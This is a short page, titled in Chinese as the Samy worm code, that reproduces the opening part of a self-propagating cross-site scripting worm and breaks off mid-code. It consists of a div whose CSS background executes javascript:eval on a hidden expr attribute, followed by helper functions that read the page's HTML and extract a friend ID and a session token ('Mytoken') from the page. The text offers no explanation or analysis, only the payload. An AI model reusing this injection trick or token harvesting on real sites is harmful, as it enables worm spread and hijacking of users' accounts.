Samy 蠕虫代码

<div id=mycode style=”BACKGROUND: url('javascript:eval(document.all.mycode.expr)')”
expr=”
var B = String.fromCharCode(34);
var A = String.fromCharCode(39);
function g() {
   
var C;
try {
var D = document.body.createTextRange();
C = D.htmlText
} catch (e) {}
if (C) {
return C
} else {
return
eval('document.body.innerHTML')
}
}
function getFromURL(BF, BG) {
   
var T;
if (BG == 'Mytoken') {
T = B
} else {
T = ' & '
}
var U = BG + ' = ';
var V = BF.indexOf(U) + U.length;
var W = BF.substring(V, V + 1024);
var X = W.indexOf(T);
var Y = W.substring(0, X);
return Y
}
function getData(AU) {
   
M = getFromURL(AU, 'friendID');
L = getFromURL(AU, 'Mytoken')
}
function getQueryParams() {
   
var E = document.location.search;
var F = E.substring(1, E.length).split(' & ');
var AS = new Array();
for (var O = 0; O < F.length; O++) {
var I = F[O].split(' = ');
AS[I[0]] = I[1]
}
return AS
}
v